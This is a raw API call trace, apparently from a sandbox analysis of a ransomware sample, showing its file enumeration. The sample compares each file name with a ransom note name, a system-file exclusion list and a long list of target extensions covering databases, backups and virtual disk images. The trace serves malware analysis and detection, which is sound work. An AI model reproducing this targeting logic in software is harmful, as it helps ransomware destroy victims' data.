	[0085.144] CloseHandle (hObject=0x15c) returned 1
	[0085.144] CloseHandle (hObject=0x9c) returned 1
	[0085.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0085.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0085.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0085.144] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="D42CC0~1")) returned 1
	[0085.144] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.144] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="Apollon865.txt.exe") returned 1
	[0085.144] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".") returned 1
	[0085.144] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="..") returned 1
	[0085.144] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="windows") returned -1
	[0085.144] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="bootmgr") returned 1
	[0085.145] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="temp") returned -1
	[0085.145] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="pagefile.sys") returned -1
	[0085.145] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="boot") returned 1
	[0085.145] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="ids.txt") returned -1
	[0085.145] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="ntuser.dat") returned -1
	[0085.145] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="perflogs") returned -1
	[0085.145] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="MSBuild") returned -1
	[0085.145] lstrlenW (lpString="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0085.145] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 118
	[0085.145] lstrcpyW (in: lpString1=0x119e66a, lpString2="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"
	[0085.145] lstrlenW (lpString="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0085.145] lstrlenW (lpString="Apollon865") returned 10
	[0085.145] lstrcmpiW (lpString1="9ec416e53f", lpString2="Apollon865") returned -1
	[0085.145] lstrlenW (lpString=".dll") returned 4
	[0085.145] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".dll") returned 1
	[0085.145] lstrlenW (lpString=".lnk") returned 4
	[0085.145] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".lnk") returned 1
	[0085.145] lstrlenW (lpString=".ini") returned 4
	[0085.145] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".ini") returned 1
	[0085.145] lstrlenW (lpString=".sys") returned 4
	[0085.145] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".sys") returned 1
	[0085.145] lstrlenW (lpString="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0085.145] lstrlenW (lpString="bak") returned 3
	[0085.145] lstrcmpiW (lpString1="53f", lpString2="bak") returned -1
	[0085.145] lstrlenW (lpString="ba_") returned 3
	[0085.145] lstrcmpiW (lpString1="53f", lpString2="ba_") returned -1
	[0085.145] lstrlenW (lpString="dbb") returned 3
	[0085.145] lstrcmpiW (lpString1="53f", lpString2="dbb") returned -1
	[0085.145] lstrlenW (lpString="vmdk") returned 4
	[0085.145] lstrcmpiW (lpString1="e53f", lpString2="vmdk") returned -1
	[0085.146] lstrlenW (lpString="rar") returned 3
	[0085.146] lstrcmpiW (lpString1="53f", lpString2="rar") returned -1
	[0085.146] lstrlenW (lpString="zip") returned 3
	[0085.146] lstrcmpiW (lpString1="53f", lpString2="zip") returned -1
	[0085.146] lstrlenW (lpString="tgz") returned 3
	[0085.146] lstrcmpiW (lpString1="53f", lpString2="tgz") returned -1
	[0085.146] lstrlenW (lpString="vbox") returned 4
	[0085.146] lstrcmpiW (lpString1="e53f", lpString2="vbox") returned -1
	[0085.146] lstrlenW (lpString="vdi") returned 3
	[0085.146] lstrcmpiW (lpString1="53f", lpString2="vdi") returned -1
	[0085.146] lstrlenW (lpString="vhd") returned 3
	[0085.146] lstrcmpiW (lpString1="53f", lpString2="vhd") returned -1
	[0085.146] lstrlenW (lpString="vhdx") returned 4
	[0085.146] lstrcmpiW (lpString1="e53f", lpString2="vhdx") returned -1
	[0085.146] lstrlenW (lpString="avhd") returned 4
	[0085.146] lstrcmpiW (lpString1="e53f", lpString2="avhd") returned 1
	[0085.146] lstrlenW (lpString="db") returned 2
	[0085.146] lstrcmpiW (lpString1="3f", lpString2="db") returned -1
	[0085.146] lstrlenW (lpString="db2") returned 3
	[0085.146] lstrcmpiW (lpString1="53f", lpString2="db2") returned -1
	[0085.146] lstrlenW (lpString="db3") returned 3
	[0085.146] lstrcmpiW (lpString1="53f", lpString2="db3") returned -1
	[0085.146] lstrlenW (lpString="dbf") returned 3
	[0085.146] lstrcmpiW (lpString1="53f", lpString2="dbf") returned -1
	[0085.146] lstrlenW (lpString="mdf") returned 3
	[0085.146] lstrcmpiW (lpString1="53f", lpString2="mdf") returned -1
	[0085.146] lstrlenW (lpString="mdb") returned 3
	[0085.146] lstrcmpiW (lpString1="53f", lpString2="mdb") returned -1
	[0085.146] lstrlenW (lpString="sql") returned 3
	[0085.146] lstrcmpiW (lpString1="53f", lpString2="sql") returned -1
	[0085.146] lstrlenW (lpString="sqlite") returned 6
	[0085.146] lstrcmpiW (lpString1="16e53f", lpString2="sqlite") returned -1
	[0085.146] lstrlenW (lpString="sqlite3") returned 7
	[0085.146] lstrcmpiW (lpString1="416e53f", lpString2="sqlite3") returned -1
	[0085.146] lstrlenW (lpString="sqlitedb") returned 8
	[0085.146] lstrcmpiW (lpString1="c416e53f", lpString2="sqlitedb") returned -1
	[0085.146] lstrlenW (lpString="xml") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="xml") returned -1
	[0085.147] lstrlenW (lpString="$er") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="$er") returned 1
	[0085.147] lstrlenW (lpString="4dd") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="4dd") returned 1
	[0085.147] lstrlenW (lpString="4dl") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="4dl") returned 1
	[0085.147] lstrlenW (lpString="^^^") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="^^^") returned 1
	[0085.147] lstrlenW (lpString="abs") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="abs") returned -1
	[0085.147] lstrlenW (lpString="abx") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="abx") returned -1
	[0085.147] lstrlenW (lpString="accdb") returned 5
	[0085.147] lstrcmpiW (lpString1="6e53f", lpString2="accdb") returned -1
	[0085.147] lstrlenW (lpString="accdc") returned 5
	[0085.147] lstrcmpiW (lpString1="6e53f", lpString2="accdc") returned -1
	[0085.147] lstrlenW (lpString="accde") returned 5
	[0085.147] lstrcmpiW (lpString1="6e53f", lpString2="accde") returned -1
	[0085.147] lstrlenW (lpString="accdr") returned 5
	[0085.147] lstrcmpiW (lpString1="6e53f", lpString2="accdr") returned -1
	[0085.147] lstrlenW (lpString="accdt") returned 5
	[0085.147] lstrcmpiW (lpString1="6e53f", lpString2="accdt") returned -1
	[0085.147] lstrlenW (lpString="accdw") returned 5
	[0085.147] lstrcmpiW (lpString1="6e53f", lpString2="accdw") returned -1
	[0085.147] lstrlenW (lpString="accft") returned 5
	[0085.147] lstrcmpiW (lpString1="6e53f", lpString2="accft") returned -1
	[0085.147] lstrlenW (lpString="adb") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="adb") returned -1
	[0085.147] lstrlenW (lpString="adb") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="adb") returned -1
	[0085.147] lstrlenW (lpString="ade") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="ade") returned -1
	[0085.147] lstrlenW (lpString="adf") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="adf") returned -1
	[0085.147] lstrlenW (lpString="adn") returned 3
	[0085.147] lstrcmpiW (lpString1="53f", lpString2="adn") returned -1
	[0085.147] lstrlenW (lpString="adp") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="adp") returned -1
	[0085.148] lstrlenW (lpString="alf") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="alf") returned -1
	[0085.148] lstrlenW (lpString="ask") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="ask") returned -1
	[0085.148] lstrlenW (lpString="btr") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="btr") returned -1
	[0085.148] lstrlenW (lpString="cat") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="cat") returned -1
	[0085.148] lstrlenW (lpString="cdb") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="cdb") returned -1
	[0085.148] lstrlenW (lpString="ckp") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="ckp") returned -1
	[0085.148] lstrlenW (lpString="cma") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="cma") returned -1
	[0085.148] lstrlenW (lpString="cpd") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="cpd") returned -1
	[0085.148] lstrlenW (lpString="dacpac") returned 6
	[0085.148] lstrcmpiW (lpString1="16e53f", lpString2="dacpac") returned -1
	[0085.148] lstrlenW (lpString="dad") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="dad") returned -1
	[0085.148] lstrlenW (lpString="dadiagrams") returned 10
	[0085.148] lstrcmpiW (lpString1="9ec416e53f", lpString2="dadiagrams") returned -1
	[0085.148] lstrlenW (lpString="daschema") returned 8
	[0085.148] lstrcmpiW (lpString1="c416e53f", lpString2="daschema") returned -1
	[0085.148] lstrlenW (lpString="db-journal") returned 10
	[0085.148] lstrcmpiW (lpString1="9ec416e53f", lpString2="db-journal") returned -1
	[0085.148] lstrlenW (lpString="db-shm") returned 6
	[0085.148] lstrcmpiW (lpString1="16e53f", lpString2="db-shm") returned -1
	[0085.148] lstrlenW (lpString="db-wal") returned 6
	[0085.148] lstrcmpiW (lpString1="16e53f", lpString2="db-wal") returned -1
	[0085.148] lstrlenW (lpString="dbc") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="dbc") returned -1
	[0085.148] lstrlenW (lpString="dbs") returned 3
	[0085.148] lstrcmpiW (lpString1="53f", lpString2="dbs") returned -1
	[0085.148] lstrlenW (lpString="dbt") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="dbt") returned -1
	[0085.149] lstrlenW (lpString="dbv") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="dbv") returned -1
	[0085.149] lstrlenW (lpString="dbx") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="dbx") returned -1
	[0085.149] lstrlenW (lpString="dcb") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="dcb") returned -1
	[0085.149] lstrlenW (lpString="dct") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="dct") returned -1
	[0085.149] lstrlenW (lpString="dcx") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="dcx") returned -1
	[0085.149] lstrlenW (lpString="ddl") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="ddl") returned -1
	[0085.149] lstrlenW (lpString="dlis") returned 4
	[0085.149] lstrcmpiW (lpString1="e53f", lpString2="dlis") returned 1
	[0085.149] lstrlenW (lpString="dp1") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="dp1") returned -1
	[0085.149] lstrlenW (lpString="dqy") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="dqy") returned -1
	[0085.149] lstrlenW (lpString="dsk") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="dsk") returned -1
	[0085.149] lstrlenW (lpString="dsn") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="dsn") returned -1
	[0085.149] lstrlenW (lpString="dtsx") returned 4
	[0085.149] lstrcmpiW (lpString1="e53f", lpString2="dtsx") returned 1
	[0085.149] lstrlenW (lpString="dxl") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="dxl") returned -1
	[0085.149] lstrlenW (lpString="eco") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="eco") returned -1
	[0085.149] lstrlenW (lpString="ecx") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="ecx") returned -1
	[0085.149] lstrlenW (lpString="edb") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="edb") returned -1
	[0085.149] lstrlenW (lpString="epim") returned 4
	[0085.149] lstrcmpiW (lpString1="e53f", lpString2="epim") returned -1
	[0085.149] lstrlenW (lpString="fcd") returned 3
	[0085.149] lstrcmpiW (lpString1="53f", lpString2="fcd") returned -1
	[0085.150] lstrlenW (lpString="fdb") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="fdb") returned -1
	[0085.150] lstrlenW (lpString="fic") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="fic") returned -1
	[0085.150] lstrlenW (lpString="flexolibrary") returned 12
	[0085.150] lstrcmpiW (lpString1="7d9ec416e53f", lpString2="flexolibrary") returned -1
	[0085.150] lstrlenW (lpString="fm5") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="fm5") returned -1
	[0085.150] lstrlenW (lpString="fmp") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="fmp") returned -1
	[0085.150] lstrlenW (lpString="fmp12") returned 5
	[0085.150] lstrcmpiW (lpString1="6e53f", lpString2="fmp12") returned -1
	[0085.150] lstrlenW (lpString="fmpsl") returned 5
	[0085.150] lstrcmpiW (lpString1="6e53f", lpString2="fmpsl") returned -1
	[0085.150] lstrlenW (lpString="fol") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="fol") returned -1
	[0085.150] lstrlenW (lpString="fp3") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="fp3") returned -1
	[0085.150] lstrlenW (lpString="fp4") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="fp4") returned -1
	[0085.150] lstrlenW (lpString="fp5") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="fp5") returned -1
	[0085.150] lstrlenW (lpString="fp7") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="fp7") returned -1
	[0085.150] lstrlenW (lpString="fpt") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="fpt") returned -1
	[0085.150] lstrlenW (lpString="frm") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="frm") returned -1
	[0085.150] lstrlenW (lpString="gdb") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="gdb") returned -1
	[0085.150] lstrlenW (lpString="gdb") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="gdb") returned -1
	[0085.150] lstrlenW (lpString="grdb") returned 4
	[0085.150] lstrcmpiW (lpString1="e53f", lpString2="grdb") returned -1
	[0085.150] lstrlenW (lpString="gwi") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="gwi") returned -1
	[0085.150] lstrlenW (lpString="hdb") returned 3
	[0085.150] lstrcmpiW (lpString1="53f", lpString2="hdb") returned -1
	[0085.151] lstrlenW (lpString="his") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="his") returned -1
	[0085.151] lstrlenW (lpString="ib") returned 2
	[0085.151] lstrcmpiW (lpString1="3f", lpString2="ib") returned -1
	[0085.151] lstrlenW (lpString="idb") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="idb") returned -1
	[0085.151] lstrlenW (lpString="ihx") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="ihx") returned -1
	[0085.151] lstrlenW (lpString="itdb") returned 4
	[0085.151] lstrcmpiW (lpString1="e53f", lpString2="itdb") returned -1
	[0085.151] lstrlenW (lpString="itw") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="itw") returned -1
	[0085.151] lstrlenW (lpString="jet") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="jet") returned -1
	[0085.151] lstrlenW (lpString="jtx") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="jtx") returned -1
	[0085.151] lstrlenW (lpString="kdb") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="kdb") returned -1
	[0085.151] lstrlenW (lpString="kexi") returned 4
	[0085.151] lstrcmpiW (lpString1="e53f", lpString2="kexi") returned -1
	[0085.151] lstrlenW (lpString="kexic") returned 5
	[0085.151] lstrcmpiW (lpString1="6e53f", lpString2="kexic") returned -1
	[0085.151] lstrlenW (lpString="kexis") returned 5
	[0085.151] lstrcmpiW (lpString1="6e53f", lpString2="kexis") returned -1
	[0085.151] lstrlenW (lpString="lgc") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="lgc") returned -1
	[0085.151] lstrlenW (lpString="lwx") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="lwx") returned -1
	[0085.151] lstrlenW (lpString="maf") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="maf") returned -1
	[0085.151] lstrlenW (lpString="maq") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="maq") returned -1
	[0085.151] lstrlenW (lpString="mar") returned 3
	[0085.151] lstrcmpiW (lpString1="53f", lpString2="mar") returned -1
	[0085.151] lstrlenW (lpString="marshal") returned 7
	[0085.151] lstrcmpiW (lpString1="416e53f", lpString2="marshal") returned -1
	[0085.151] lstrlenW (lpString="mas") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="mas") returned -1
	[0085.152] lstrlenW (lpString="mav") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="mav") returned -1
	[0085.152] lstrlenW (lpString="maw") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="maw") returned -1
	[0085.152] lstrlenW (lpString="mdbhtml") returned 7
	[0085.152] lstrcmpiW (lpString1="416e53f", lpString2="mdbhtml") returned -1
	[0085.152] lstrlenW (lpString="mdn") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="mdn") returned -1
	[0085.152] lstrlenW (lpString="mdt") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="mdt") returned -1
	[0085.152] lstrlenW (lpString="mfd") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="mfd") returned -1
	[0085.152] lstrlenW (lpString="mpd") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="mpd") returned -1
	[0085.152] lstrlenW (lpString="mrg") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="mrg") returned -1
	[0085.152] lstrlenW (lpString="mud") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="mud") returned -1
	[0085.152] lstrlenW (lpString="mwb") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="mwb") returned -1
	[0085.152] lstrlenW (lpString="myd") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="myd") returned -1
	[0085.152] lstrlenW (lpString="ndf") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="ndf") returned -1
	[0085.152] lstrlenW (lpString="nnt") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="nnt") returned -1
	[0085.152] lstrlenW (lpString="nrmlib") returned 6
	[0085.152] lstrcmpiW (lpString1="16e53f", lpString2="nrmlib") returned -1
	[0085.152] lstrlenW (lpString="ns2") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="ns2") returned -1
	[0085.152] lstrlenW (lpString="ns3") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="ns3") returned -1
	[0085.152] lstrlenW (lpString="ns4") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="ns4") returned -1
	[0085.152] lstrlenW (lpString="nsf") returned 3
	[0085.152] lstrcmpiW (lpString1="53f", lpString2="nsf") returned -1
	[0085.153] lstrlenW (lpString="nv") returned 2
	[0085.153] lstrcmpiW (lpString1="3f", lpString2="nv") returned -1
	[0085.153] lstrlenW (lpString="nv2") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="nv2") returned -1
	[0085.153] lstrlenW (lpString="nwdb") returned 4
	[0085.153] lstrcmpiW (lpString1="e53f", lpString2="nwdb") returned -1
	[0085.153] lstrlenW (lpString="nyf") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="nyf") returned -1
	[0085.153] lstrlenW (lpString="odb") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="odb") returned -1
	[0085.153] lstrlenW (lpString="odb") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="odb") returned -1
	[0085.153] lstrlenW (lpString="oqy") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="oqy") returned -1
	[0085.153] lstrlenW (lpString="ora") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="ora") returned -1
	[0085.153] lstrlenW (lpString="orx") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="orx") returned -1
	[0085.153] lstrlenW (lpString="owc") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="owc") returned -1
	[0085.153] lstrlenW (lpString="p96") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="p96") returned -1
	[0085.153] lstrlenW (lpString="p97") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="p97") returned -1
	[0085.153] lstrlenW (lpString="pan") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="pan") returned -1
	[0085.153] lstrlenW (lpString="pdb") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="pdb") returned -1
	[0085.153] lstrlenW (lpString="pdm") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="pdm") returned -1
	[0085.153] lstrlenW (lpString="pnz") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="pnz") returned -1
	[0085.153] lstrlenW (lpString="qry") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="qry") returned -1
	[0085.153] lstrlenW (lpString="qvd") returned 3
	[0085.153] lstrcmpiW (lpString1="53f", lpString2="qvd") returned -1
	[0085.153] lstrlenW (lpString="rbf") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="rbf") returned -1
	[0085.154] lstrlenW (lpString="rctd") returned 4
	[0085.154] lstrcmpiW (lpString1="e53f", lpString2="rctd") returned -1
	[0085.154] lstrlenW (lpString="rod") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="rod") returned -1
	[0085.154] lstrlenW (lpString="rodx") returned 4
	[0085.154] lstrcmpiW (lpString1="e53f", lpString2="rodx") returned -1
	[0085.154] lstrlenW (lpString="rpd") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="rpd") returned -1
	[0085.154] lstrlenW (lpString="rsd") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="rsd") returned -1
	[0085.154] lstrlenW (lpString="sas7bdat") returned 8
	[0085.154] lstrcmpiW (lpString1="c416e53f", lpString2="sas7bdat") returned -1
	[0085.154] lstrlenW (lpString="sbf") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="sbf") returned -1
	[0085.154] lstrlenW (lpString="scx") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="scx") returned -1
	[0085.154] lstrlenW (lpString="sdb") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="sdb") returned -1
	[0085.154] lstrlenW (lpString="sdc") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="sdc") returned -1
	[0085.154] lstrlenW (lpString="sdf") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="sdf") returned -1
	[0085.154] lstrlenW (lpString="sis") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="sis") returned -1
	[0085.154] lstrlenW (lpString="spq") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="spq") returned -1
	[0085.154] lstrlenW (lpString="te") returned 2
	[0085.154] lstrcmpiW (lpString1="3f", lpString2="te") returned -1
	[0085.154] lstrlenW (lpString="teacher") returned 7
	[0085.154] lstrcmpiW (lpString1="416e53f", lpString2="teacher") returned -1
	[0085.154] lstrlenW (lpString="tmd") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="tmd") returned -1
	[0085.154] lstrlenW (lpString="tps") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="tps") returned -1
	[0085.154] lstrlenW (lpString="trc") returned 3
	[0085.154] lstrcmpiW (lpString1="53f", lpString2="trc") returned -1
	[0085.155] lstrlenW (lpString="trc") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="trc") returned -1
	[0085.155] lstrlenW (lpString="trm") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="trm") returned -1
	[0085.155] lstrlenW (lpString="udb") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="udb") returned -1
	[0085.155] lstrlenW (lpString="udl") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="udl") returned -1
	[0085.155] lstrlenW (lpString="usr") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="usr") returned -1
	[0085.155] lstrlenW (lpString="v12") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="v12") returned -1
	[0085.155] lstrlenW (lpString="vis") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="vis") returned -1
	[0085.155] lstrlenW (lpString="vpd") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="vpd") returned -1
	[0085.155] lstrlenW (lpString="vvv") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="vvv") returned -1
	[0085.155] lstrlenW (lpString="wdb") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="wdb") returned -1
	[0085.155] lstrlenW (lpString="wmdb") returned 4
	[0085.155] lstrcmpiW (lpString1="e53f", lpString2="wmdb") returned -1
	[0085.155] lstrlenW (lpString="wrk") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="wrk") returned -1
	[0085.155] lstrlenW (lpString="xdb") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="xdb") returned -1
	[0085.155] lstrlenW (lpString="xld") returned 3
	[0085.155] lstrcmpiW (lpString1="53f", lpString2="xld") returned -1
	[0085.155] lstrlenW (lpString="xmlff") returned 5
	[0085.155] lstrcmpiW (lpString1="6e53f", lpString2="xmlff") returned -1
